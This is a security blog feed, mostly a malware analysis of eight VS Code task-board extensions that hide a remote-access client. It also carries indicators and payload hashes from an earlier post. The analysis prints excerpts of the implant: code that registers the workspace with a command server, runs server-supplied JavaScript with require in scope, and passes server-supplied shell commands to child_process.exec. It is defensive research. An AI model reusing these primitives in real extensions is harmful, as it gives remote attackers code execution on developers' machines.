  <li><code class="language-plaintext highlighter-rouge">NYANSTEG</code>, <code class="language-plaintext highlighter-rouge">NYANB64X</code>, <code class="language-plaintext highlighter-rouge">NYANARCH</code></li>
  <li><code class="language-plaintext highlighter-rouge">~/.solidity</code>, <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code>, <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code></li>
  <li><code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code></li>
  <li><code class="language-plaintext highlighter-rouge">COR_ENABLE_PROFILING</code>, <code class="language-plaintext highlighter-rouge">COR_PROFILER_PATH</code>, <code class="language-plaintext highlighter-rouge">UAC39_PAYLOAD</code></li>
  <li>ScreenConnect service suffix <code class="language-plaintext highlighter-rouge">5cbe79c9c25524df</code></li>
</ul>

<p><strong>Payload hashes</strong></p>

<table>
  <thead>
    <tr>
      <th>Entry</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_amd64</code></td>
      <td><code class="language-plaintext highlighter-rouge">9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_arm64</code></td>
      <td><code class="language-plaintext highlighter-rouge">b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_amd64</code></td>
      <td><code class="language-plaintext highlighter-rouge">80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_arm64</code></td>
      <td><code class="language-plaintext highlighter-rouge">fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">app.msi</code></td>
      <td><code class="language-plaintext highlighter-rouge">7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invoke.ps1</code></td>
      <td><code class="language-plaintext highlighter-rouge">37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">note.txt</code></td>
      <td><code class="language-plaintext highlighter-rouge">683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8</code></td>
    </tr>
  </tbody>
</table>]]></content><author><name></name></author><category term="Malware Analysis" /><category term="vsix" /><category term="vscode-marketplace" /><category term="solidity" /><category term="sleepyduck" /><category term="steganography" /><category term="dropper" /><category term="screenconnect" /><category term="ethereum" /><category term="supply-chain" /><summary type="html"><![CDATA[The extension installs another extension under the real Solidity publisher's ID, and the implant's command server lives in an Ethereum contract.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/language-pack-sol-nested-dropper.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/language-pack-sol-nested-dropper.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Eight VS Code Extensions, One RAT Engine: Inside the Task-Board Backdoor</title><link href="https://yeethsecurity.com/blog/2026-10-25-Shared-RAT-Engine-VS-Code-Task-Boards" rel="alternate" type="text/html" title="Eight VS Code Extensions, One RAT Engine: Inside the Task-Board Backdoor" /><published>2026-10-25T00:00:00+00:00</published><updated>2026-10-25T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Shared-RAT-Engine-VS-Code-Task-Boards</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-25-Shared-RAT-Engine-VS-Code-Task-Boards"><![CDATA[<p>Between October 24 and 25, 2026, eight extensions from eight separate publisher accounts were published or updated on the Visual Studio Marketplace within a ten-hour window: <code class="language-plaintext highlighter-rouge">flowstate.luaslope</code> 1.0.2, <code class="language-plaintext highlighter-rouge">opentask.opentask</code> 1.0.0, <code class="language-plaintext highlighter-rouge">Markers.markersboard</code> 2.2.4, <code class="language-plaintext highlighter-rouge">GiantManage.giantmanage</code> 1.0.0, <code class="language-plaintext highlighter-rouge">DawnTask.dawntask</code> 1.0.1, <code class="language-plaintext highlighter-rouge">starktask.starktask</code> 1.0.1, <code class="language-plaintext highlighter-rouge">greenbeans.greenbeans</code> 2.0.0, and <code class="language-plaintext highlighter-rouge">parsley.parsley</code> 4.0.0. They present as a Roblox MCP bridge, a task manager, a project dashboard, and five Kanban boards. Each package also ships a hidden module that starts with the editor, contacts an external server, and waits for commands.</p>

<p>The module is a remote-access client. It registers the machine with the endpoint, sends the workspace name and absolute path, and polls every five seconds. Each returned action is approved without a prompt, executed, and reported back. The action set includes <code class="language-plaintext highlighter-rouge">run_code</code>, which evaluates JavaScript in the extension host with <code class="language-plaintext highlighter-rouge">require</code> in scope, and <code class="language-plaintext highlighter-rouge">run_command</code>, which calls <code class="language-plaintext highlighter-rouge">child_process.exec</code>.</p>

<p>The client is in <code class="language-plaintext highlighter-rouge">src/extension.js</code> for LuaSlope and in <code class="language-plaintext highlighter-rouge">sync.js</code> for the other seven. The core route set, the registration payload, and the execution primitives are the same across all eight packages.</p>

<p>The engine is a remote access trojan in the literal sense: it gives a remote server code execution inside the editor process, with the same file and network access as the developer.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><strong>Eight extensions, eight publishers, one engine.</strong> The package table below lists the IDs, versions, sizes, and action sets.</li>
  <li><strong>All eight activate on <code class="language-plaintext highlighter-rouge">onStartupFinished</code>.</strong> The sync loop starts without a command, a prompt, or a visible setting change.</li>
  <li><strong>Three default to <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code>; five default to <code class="language-plaintext highlighter-rouge">rawrito[.]click</code>.</strong> The rawrito group is MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0.</li>
  <li><strong>The protocol is identical:</strong> register, poll, approve, execute, return the result. The shared routes are <code class="language-plaintext highlighter-rouge">/api/client/register</code>, <code class="language-plaintext highlighter-rouge">/api/client/poll</code>, <code class="language-plaintext highlighter-rouge">/api/client/approve</code>, and <code class="language-plaintext highlighter-rouge">/api/client/result</code>.</li>
  <li><strong>MarkersBoard is the clearest version-history deception.</strong> Versions 2.2.0 and 2.2.3 stated “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. Version 2.2.4 added <code class="language-plaintext highlighter-rouge">new Function</code> execution and advertised <code class="language-plaintext highlighter-rouge">run_code</code> in the README.</li>
  <li><strong>No payload or command list is embedded in the packages.</strong> The server supplies actions at runtime. LuaSlope’s admin dashboard contains only placeholder command examples, and its action queue starts empty.</li>
  <li><strong>LuaSlope started as a 2.6 KB placeholder.</strong> Version 0.0.1 declared no commands and no code. Version 1.0.2, appeared sixteen days later, carries the full engine.</li>
  <li><strong>The eight packages share more than code.</strong> GiantManage and LuaSlope ship a byte-identical <code class="language-plaintext highlighter-rouge">media/icon.png</code>. All eight claim GitHub repositories that return 404.</li>
  <li><strong>The two domains share a registrar and an ngrok target.</strong> Both use Dynadot and point to subdomains under the same ngrok CNAME target. <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> was registered 29 minutes before the MarkersBoard listing.</li>
  <li><strong>Of the three known hostnames, only rawrito was live during analysis.</strong> It returned HTTP 401 without a session, accepted several proxied test registrations (including production-looking workspaces), and then returned <code class="language-plaintext highlighter-rouge">enabled: true</code> with no action for up to six minutes. <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> returned the ngrok offline page.</li>
  <li><strong>The install numbers are small, but real.</strong> At the time of analysis, MarkersBoard showed 69 downloads and 19 installs, DawnTask showed 24 downloads and 12 installs, and GreenBeans showed 10 downloads and 3 installs, and StarkTask showed 23 downloads. GiantManage and OpenTask showed 4 and 3 downloads. Parsley reported 1,380 installs against 94 downloads, a ratio that does not agree. The LuaSlope listing did not resolve on either marketplace when checked on October 25.</li>
</ul>

<h2 id="the-packages">The packages</h2>

<table>
  <thead>
    <tr>
      <th>Extension</th>
      <th>Publisher</th>
      <th>Version</th>
      <th>VSIX size</th>
      <th style="text-align: right">Default endpoint</th>
      <th>Remote actions</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>LuaSlope — Roblox MCP &amp; API Runner</td>
      <td><code class="language-plaintext highlighter-rouge">flowstate</code></td>
      <td>1.0.2</td>
      <td>480 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code></td>
      <td>code, shell, VS Code command, notification</td>
    </tr>
    <tr>
      <td>OpenTask — Task &amp; Workflow Manager</td>
      <td><code class="language-plaintext highlighter-rouge">opentask</code></td>
      <td>1.0.0</td>
      <td>1.0 MB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code></td>
      <td>code, shell, VS Code command, notification</td>
    </tr>
    <tr>
      <td>MarkersBoard — Visual Kanban &amp; Task Manager</td>
      <td><code class="language-plaintext highlighter-rouge">Markers</code></td>
      <td>2.2.4</td>
      <td>251 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
      <td>code only</td>
    </tr>
    <tr>
      <td>GiantManage — Project &amp; Resource Management Suite</td>
      <td><code class="language-plaintext highlighter-rouge">GiantManage</code></td>
      <td>1.0.0</td>
      <td>130 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">superkawaii[.]click</code></td>
      <td>code, shell, VS Code command, notification</td>
    </tr>
    <tr>
      <td>DawnTask — Visual Kanban Board &amp; Task Manager</td>
      <td><code class="language-plaintext highlighter-rouge">DawnTask</code></td>
      <td>1.0.1</td>
      <td>244 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
      <td>code, shell, VS Code command, notification</td>
    </tr>
    <tr>
      <td>StarkTask — Visual Kanban Board &amp; Task Orchestrator</td>
      <td><code class="language-plaintext highlighter-rouge">starktask</code></td>
      <td>1.0.1</td>
      <td>347 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
      <td>code only</td>
    </tr>
    <tr>
      <td>GreenBeans — Visual Kanban Board &amp; Task Orchestrator</td>
      <td><code class="language-plaintext highlighter-rouge">greenbeans</code></td>
      <td>2.0.0</td>
      <td>51 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
      <td>code only</td>
    </tr>
    <tr>
      <td>Parsley — Visual Kanban Board &amp; Task Orchestrator</td>
      <td><code class="language-plaintext highlighter-rouge">parsley</code></td>
      <td>4.0.0</td>
      <td>400 KB</td>
      <td style="text-align: right"><code class="language-plaintext highlighter-rouge">rawrito[.]click</code></td>
      <td>code, shell, VS Code command, notification</td>
    </tr>
  </tbody>
</table>

<p>The packages are small enough to read in an afternoon. The visible code is functional. OpenTask stores tasks in <code class="language-plaintext highlighter-rouge">.opentask/tasks.json</code>. MarkersBoard stores its board in <code class="language-plaintext highlighter-rouge">.markersboard/board.json</code>. GiantManage registers workspace commands. LuaSlope deploys a Roblox Studio runtime and registers an MCP server provider. The four Kanban boards in the second wave use a shared template: <code class="language-plaintext highlighter-rouge">extension.js</code>, <code class="language-plaintext highlighter-rouge">commands.js</code>, <code class="language-plaintext highlighter-rouge">kanban.js</code>, and <code class="language-plaintext highlighter-rouge">sync.js</code>. Each ships a working sidebar board with drag-and-drop cards, priority tags, local persistence, and a status-bar counter.</p>

<p>The hidden module is separate from that functionality. It has no menu item, no status-bar indicator, and no command. It is loaded from <code class="language-plaintext highlighter-rouge">activate()</code> and started before the user does anything.</p>

<h2 id="why-the-vector-works">Why the vector works</h2>

<p>Task boards are a good cover for two reasons, and the campaign leans on that cover: five of the eight packages are Kanban boards.</p>

<p>First, a board needs synchronization. A developer who installs a task manager expects it to store state, sync across devices, or talk to a backend. A five-second poll to a first-party domain does not look out of place. The OpenTask README calls it “Background Workflow Sync”. The GiantManage README calls it a “Background Synchronization Engine”. MarkersBoard advertises “Custom Dynamic Code Sync” with <code class="language-plaintext highlighter-rouge">run_code</code> dispatches. The second wave repeats the same phrasing across four near-identical Kanban listings. The malicious function is hidden in plain sight as a product feature.</p>

<p>Second, the extension host has no sandbox for this. A VS Code extension runs with the same permissions as the editor. It can read files, write files, start processes, and make network requests. The Marketplace permission model cannot express “this extension may render a Kanban board but may not execute a shell command”. The installation decision is the security boundary.</p>

<p>The pattern is now familiar in this registry. The <a href="https://yeethsecurity.com/blog/2026-08-19-Boardflow-Kanban-Dropper">boardflow campaign</a> used fifteen fake Kanban extensions to deliver a remote payload. The <a href="https://yeethsecurity.com/blog/2026-08-20-Roqueue-Tools-DevFlow-Loader">roqueue-tools loader</a> waited five minutes after startup before it contacted its endpoint. These eight packages remove the download step. The extension host itself becomes the payload runtime.</p>

<h2 id="the-sync-engine">The sync engine</h2>

<p>The engine is a small HTTP client. It uses Node’s <code class="language-plaintext highlighter-rouge">http</code> and <code class="language-plaintext highlighter-rouge">https</code> modules, not the VS Code network API. It builds a URL from a default origin and a fixed route. The engine appears in three shapes. OpenTask, GiantManage, DawnTask, and Parsley accept the full action set. MarkersBoard, StarkTask, and GreenBeans accept only <code class="language-plaintext highlighter-rouge">run_code</code>. LuaSlope folds the engine into <code class="language-plaintext highlighter-rouge">src/extension.js</code> and adds a Roblox runtime. In every shape, the same five-second poll and the same execution primitives are present.</p>

<h3 id="1-registration">1. Registration</h3>

<p>On the first poll, the client sends the workspace name and the absolute workspace path to <code class="language-plaintext highlighter-rouge">/api/client/register</code>. The server returns a client ID and a bearer token. The extension stores both in VS Code SecretStorage.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">wsName</span> <span class="o">=</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">workspace</span><span class="p">.</span><span class="nx">workspaceFolders</span><span class="p">?.[</span><span class="mi">0</span><span class="p">]?.</span><span class="nx">name</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">Workspace</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">wsPath</span> <span class="o">=</span> <span class="nx">vscode</span><span class="p">.</span><span class="nx">workspace</span><span class="p">.</span><span class="nx">workspaceFolders</span><span class="p">?.[</span><span class="mi">0</span><span class="p">]?.</span><span class="nx">uri</span><span class="p">.</span><span class="nx">fsPath</span> <span class="o">||</span> <span class="dl">'</span><span class="s1">Workspace</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">reg</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">req</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/client/register</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">label</span><span class="p">:</span> <span class="dl">'</span><span class="s1">OpenTask · </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">wsName</span><span class="p">,</span>
  <span class="na">location</span><span class="p">:</span> <span class="nx">wsPath</span>
<span class="p">});</span>
<span class="nx">session</span> <span class="o">=</span> <span class="p">{</span> <span class="na">id</span><span class="p">:</span> <span class="nx">reg</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="na">token</span><span class="p">:</span> <span class="nx">reg</span><span class="p">.</span><span class="nx">token</span> <span class="p">};</span>
<span class="k">await</span> <span class="nx">context</span><span class="p">.</span><span class="nx">secrets</span><span class="p">.</span><span class="nf">store</span><span class="p">(</span><span class="dl">'</span><span class="s1">opentask_session</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">session</span><span class="p">));</span>
</code></pre></div></div>

<p>The label and path are the first data points the server receives. They identify the machine, the project, and the user’s directory layout before any malicious action runs.</p>

<h3 id="2-poll-and-auto-approve">2. Poll and auto-approve</h3>

<p>The client polls <code class="language-plaintext highlighter-rouge">GET /api/client/poll</code> every 5,000 ms. It uses a 10-second request timeout and rejects responses larger than 1 MB. If the response contains an action, the client sends <code class="language-plaintext highlighter-rouge">POST /api/client/approve</code> and executes it. There is no user confirmation.</p>

<p>LuaSlope is explicit about this. The code logs:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">log</span><span class="p">(</span><span class="s2">`Directly executing action (</span><span class="p">${</span><span class="nx">action</span><span class="p">.</span><span class="nx">type</span><span class="p">}</span><span class="s2">) without approval prompt.`</span><span class="p">);</span>
</code></pre></div></div>

<p>The extension’s <code class="language-plaintext highlighter-rouge">validateAction()</code> function accepts a <code class="language-plaintext highlighter-rouge">requireApproval</code> field, but the caller never uses it. The action runs either way.</p>

<h3 id="3-code-execution">3. Code execution</h3>

<p>For <code class="language-plaintext highlighter-rouge">run_code</code>, the client builds a function with the VS Code API, the extension context, the output channel, Node’s <code class="language-plaintext highlighter-rouge">require</code>, and <code class="language-plaintext highlighter-rouge">console</code> in scope.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fn</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Function</span><span class="p">(</span>
  <span class="dl">'</span><span class="s1">vscode</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">context</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">output</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">require</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">console</span><span class="dl">'</span><span class="p">,</span>
  <span class="s2">`return (async () =&gt; {\n</span><span class="p">${</span><span class="nx">action</span><span class="p">.</span><span class="nx">code</span><span class="p">}</span><span class="s2">\n})();`</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Passing <code class="language-plaintext highlighter-rouge">require</code> into the function removes any meaningful boundary. Remote code can load <code class="language-plaintext highlighter-rouge">fs</code>, <code class="language-plaintext highlighter-rouge">child_process</code>, <code class="language-plaintext highlighter-rouge">https</code>, or any installed module. It can read source files, environment variables, shell history, SSH keys, and cloud credentials. It can also call back into the VS Code API to read open documents or change workspace settings.</p>

<h3 id="4-shell-execution">4. Shell execution</h3>

<p>For <code class="language-plaintext highlighter-rouge">run_command</code>, the client concatenates the server-supplied command and arguments and passes the string to <code class="language-plaintext highlighter-rouge">child_process.exec</code>. The working directory defaults to the first workspace folder.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">commandStr</span> <span class="o">=</span> <span class="nx">action</span><span class="p">.</span><span class="nx">args</span> <span class="o">&amp;&amp;</span> <span class="nx">action</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nx">length</span>
  <span class="p">?</span> <span class="s2">`</span><span class="p">${</span><span class="nx">action</span><span class="p">.</span><span class="nx">command</span><span class="p">}</span><span class="s2"> </span><span class="p">${</span><span class="nx">action</span><span class="p">.</span><span class="nx">args</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="dl">'</span><span class="s1"> </span><span class="dl">'</span><span class="p">)}</span><span class="s2">`</span>
  <span class="p">:</span> <span class="nx">action</span><span class="p">.</span><span class="nx">command</span><span class="p">;</span>

<span class="nx">childProcess</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="nx">commandStr</span><span class="p">,</span> <span class="p">{</span>
  <span class="nx">cwd</span><span class="p">,</span>
  <span class="nx">timeout</span><span class="p">,</span>
  <span class="na">maxBuffer</span><span class="p">:</span> <span class="mi">1024</span> <span class="o">*</span> <span class="mi">1024</span>
<span class="p">},</span> <span class="nx">callback</span><span class="p">);</span>
</code></pre></div></div>

<p>The callback returns <code class="language-plaintext highlighter-rouge">stdout</code>, <code class="language-plaintext highlighter-rouge">stderr</code>, and the exit code. The client posts them to <code class="language-plaintext highlighter-rouge">/api/client/result</code>. Results are capped at 50,000 characters per action. A server can request more data with more actions.</p>

<h3 id="5-other-actions">5. Other actions</h3>

<p>OpenTask and GiantManage also accept <code class="language-plaintext highlighter-rouge">run_vscode_command</code> and <code class="language-plaintext highlighter-rouge">show_notification</code>. The first executes any registered VS Code command. The second displays a remote-controlled message, with remote-controlled buttons, inside the editor. LuaSlope supports the same set.</p>

<p>MarkersBoard 2.2.4 limits the action type to <code class="language-plaintext highlighter-rouge">run_code</code>. That is not a mitigation. The function still receives <code class="language-plaintext highlighter-rouge">require</code>, so a single <code class="language-plaintext highlighter-rouge">run_code</code> action can call <code class="language-plaintext highlighter-rouge">require('child_process').exec(...)</code>.</p>

<h2 id="the-markersboard-pivot">The MarkersBoard pivot</h2>

<p>MarkersBoard is the most direct evidence that the benign build and the malicious build are the same product.</p>

<p>Version 2.2.0 shipped a polling client with no default endpoint and no execution path. Its header described a “Polling-Only Synchronization Engine” with “STRICTLY NO CODE EXECUTION” and “ZERO-CONTACT DEFAULT”. The configuration description said: “Left empty by default for zero network contact. Note: Does not run any code.”</p>

<p>Version 2.2.3 kept the same claims. It added a default endpoint anyway:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">DEFAULT_ENDPOINT</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">https://rawrito.click</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>The configuration description still said “Note: Does not run any code.” The comment block still said “ZERO-CONTACT DEFAULT”. The code still did not execute actions.</p>

<p>Version 2.2.4 removed the claims and added the engine. The header became “MarkersBoard Polling &amp; Dynamic Code Synchronization Engine”. The new function <code class="language-plaintext highlighter-rouge">executeCustomCode()</code> creates a function with <code class="language-plaintext highlighter-rouge">new Function</code>, runs the server-supplied body, and posts the result. The README changed from a polling description to “Custom Dynamic Code Sync” with <code class="language-plaintext highlighter-rouge">run_code</code> dispatches. The Marketplace update landed at 03:33 UTC on October 25.</p>

<p>The listing was published at 02:41 UTC. Within 52 minutes, the same extension ID moved from a board with no execution path to a board that runs remote JavaScript. The earlier versions were not a different product. They were the review-safe stage of the same product.</p>

<h2 id="the-parsley-pivot">The Parsley pivot</h2>

<p>Parsley has the longest version history in the set and a second no-execution-to-execution pivot.</p>

<ul>
  <li><strong>0.0.1 (October 17):</strong> a status-command placeholder.</li>
  <li><strong>2.0.1 (observed October 25 04:26):</strong> a Kanban board with the full engine on <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code>. <code class="language-plaintext highlighter-rouge">sync.js</code> supports <code class="language-plaintext highlighter-rouge">run_code</code>, <code class="language-plaintext highlighter-rouge">run_command</code>, <code class="language-plaintext highlighter-rouge">run_vscode_command</code>, and <code class="language-plaintext highlighter-rouge">show_notification</code>.</li>
  <li><strong>3.0.1 (observed 06:55):</strong> a Kanban board with no network code.</li>
  <li><strong>3.0.2 (observed 07:05):</strong> polling and heartbeat only. The header says “EXECUTION IS COMPLETELY DISABLED: All dispatched actions are ignored and declined.” It uses <code class="language-plaintext highlighter-rouge">rawrito[.]click</code>, <code class="language-plaintext highlighter-rouge">/api/client/ping</code>, and the <code class="language-plaintext highlighter-rouge">parsley_client_session</code> key.</li>
  <li><strong>4.0.0 (published 07:15):</strong> the execution engine returns. <code class="language-plaintext highlighter-rouge">sync.js</code> adds the AsyncFunction constructor, <code class="language-plaintext highlighter-rouge">child_process.exec</code>, the full action router, and <code class="language-plaintext highlighter-rouge">/api/client/heartbeat</code>. The secret key changes to <code class="language-plaintext highlighter-rouge">parsley_client_session_v4</code>.</li>
</ul>

<p>The 3.0.2 → 4.0.0 diff is the clearest review-safe pivot after MarkersBoard. The earlier build explicitly declines actions. The later build executes them. The gap between the observed 3.0.2 build and the 4.0.0 publish is ten minutes.</p>

<p>The endpoint also changed between generations. Parsley 2.0.1 used <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code>. The 3.0.2 and 4.0.0 builds use <code class="language-plaintext highlighter-rouge">rawrito[.]click</code>. The operator moved the same client to a new domain and then restored the execution path.</p>

<h2 id="placeholder-first-publishing">Placeholder-first publishing</h2>

<p>LuaSlope followed the same staging pattern with a longer delay.</p>

<p>Version 0.0.1 was a 2.6 KB placeholder. Its README said: “This version provides no functionality. It registers no commands, changes no settings, and runs no code.” The package had no <code class="language-plaintext highlighter-rouge">main</code> entry and no JavaScript.</p>

<p>Version 0.0.1 was on the registry by October 8. Version 1.0.2 was on the registry by October 24. The later build is 480 KB and contains the full Roblox runtime, the MCP provider registration, and the sync engine. The publisher kept the same <code class="language-plaintext highlighter-rouge">flowstate.luaslope</code> identity across both versions.</p>

<p>MarkersBoard shows the same pattern in a shorter window. Version 1.0.0 was a single 371-byte <code class="language-plaintext highlighter-rouge">extension.js</code> that registered one status command. Version 2.0.0 added the board. Version 2.2.0 added polling. Version 2.2.4 added remote code execution.</p>

<p>The pattern repeats across the set. Six of the eight packages shipped a placeholder before the RAT build:</p>

<table>
  <thead>
    <tr>
      <th>Package</th>
      <th>Placeholder</th>
      <th>RAT build</th>
      <th>Observed gap</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>LuaSlope</td>
      <td>0.0.1, 2.6 KB, no <code class="language-plaintext highlighter-rouge">main</code></td>
      <td>1.0.2</td>
      <td>16 days</td>
    </tr>
    <tr>
      <td>MarkersBoard</td>
      <td>1.0.0, 371-byte status command</td>
      <td>2.2.4</td>
      <td>same hour as the listing</td>
    </tr>
    <tr>
      <td>DawnTask</td>
      <td>1.0.0, status command only</td>
      <td>1.0.1</td>
      <td>20 minutes</td>
    </tr>
    <tr>
      <td>StarkTask</td>
      <td>1.0.0, status command only</td>
      <td>1.0.1</td>
      <td>1 minute</td>
    </tr>
    <tr>
      <td>GreenBeans</td>
      <td>1.0.0, status command only</td>
      <td>2.0.0</td>
      <td>28 minutes</td>
    </tr>
    <tr>
      <td>Parsley</td>
      <td>0.0.1, status command only</td>
      <td>2.0.1</td>
      <td>8 days</td>
    </tr>
  </tbody>
</table>

<p>DawnTask, StarkTask, and GreenBeans each shipped a <code class="language-plaintext highlighter-rouge">1.0.0</code> build whose only feature was a status command. The RAT build arrived as <code class="language-plaintext highlighter-rouge">1.0.1</code> or <code class="language-plaintext highlighter-rouge">2.0.0</code>. Parsley shipped a placeholder on October 17, a RAT build on October 25, a clean Kanban build, a polling-only build, and then the RAT build again.</p>

<p>A placeholder build is cheap. It reserves the name, establishes a version history, and gives a reviewer something harmless to inspect. The weaponized build arrives later, under the same ID, after the listing has already passed the first review.</p>

<h2 id="linkage-evidence">Linkage evidence</h2>

<p>The eight packages are not linked by a single shared hash. They are linked by a set of independent artifacts that point to the same development pipeline.</p>

<h3 id="shared-network-protocol">Shared network protocol</h3>

<ul>
  <li><strong>Two endpoints.</strong> <code class="language-plaintext highlighter-rouge">superkawaii[.]click</code> appears in LuaSlope, OpenTask, and GiantManage. <code class="language-plaintext highlighter-rouge">rawrito[.]click</code> appears in MarkersBoard, DawnTask, StarkTask, GreenBeans, and Parsley 4.0.0.</li>
  <li><strong>Same route set.</strong> All eight use <code class="language-plaintext highlighter-rouge">/api/client/register</code>, <code class="language-plaintext highlighter-rouge">/api/client/poll</code>, <code class="language-plaintext highlighter-rouge">/api/client/approve</code>, and <code class="language-plaintext highlighter-rouge">/api/client/result</code>. LuaSlope and Parsley 4.0.0 also use <code class="language-plaintext highlighter-rouge">/api/client/heartbeat</code>. Parsley 3.0.2 uses <code class="language-plaintext highlighter-rouge">/api/client/ping</code>.</li>
  <li><strong>Same registration payload.</strong> The client sends <code class="language-plaintext highlighter-rouge">label</code> as <code class="language-plaintext highlighter-rouge">&lt;Product&gt; · &lt;workspace name&gt;</code> and <code class="language-plaintext highlighter-rouge">location</code> as the absolute workspace path.</li>
  <li><strong>Same auth flow.</strong> Registration returns <code class="language-plaintext highlighter-rouge">{ id, token }</code>. Later requests use <code class="language-plaintext highlighter-rouge">Authorization: Bearer &lt;token&gt;</code>.</li>
  <li><strong>Same timing.</strong> Poll interval 5,000 ms, request timeout 10,000 ms, response cap 1 MB, result cap 50,000 characters.</li>
</ul>

<h3 id="shared-code-structure">Shared code structure</h3>

<ul>
  <li><strong>Same execution primitive.</strong> All eight pass <code class="language-plaintext highlighter-rouge">require</code> into a dynamically constructed function. Seven use <code class="language-plaintext highlighter-rouge">new Function</code> with <code class="language-plaintext highlighter-rouge">vscode</code>, <code class="language-plaintext highlighter-rouge">context</code>, <code class="language-plaintext highlighter-rouge">output</code>, <code class="language-plaintext highlighter-rouge">require</code>, and <code class="language-plaintext highlighter-rouge">console</code>. Parsley 4.0.0 uses the AsyncFunction constructor with the same core globals plus a <code class="language-plaintext highlighter-rouge">kit</code> object.</li>
  <li><strong>Same shell primitive.</strong> OpenTask, GiantManage, LuaSlope, DawnTask, and Parsley 4.0.0 call <code class="language-plaintext highlighter-rouge">child_process.exec</code> with <code class="language-plaintext highlighter-rouge">cwd</code>, a timeout, and a 1 MB buffer.</li>
  <li><strong>Same state keys.</strong> <code class="language-plaintext highlighter-rouge">opentask_session</code>, <code class="language-plaintext highlighter-rouge">markersboard_session</code>, <code class="language-plaintext highlighter-rouge">giantmanage_session</code>, <code class="language-plaintext highlighter-rouge">dawntask_session</code>, <code class="language-plaintext highlighter-rouge">starktask_session</code>, and <code class="language-plaintext highlighter-rouge">greenbeans_session</code> follow the same naming convention. Parsley uses <code class="language-plaintext highlighter-rouge">parsley_client_session_v4</code>; its earlier builds use <code class="language-plaintext highlighter-rouge">parsley_session</code> and <code class="language-plaintext highlighter-rouge">parsley_client_session</code>. LuaSlope uses <code class="language-plaintext highlighter-rouge">actionClientSession</code>.</li>
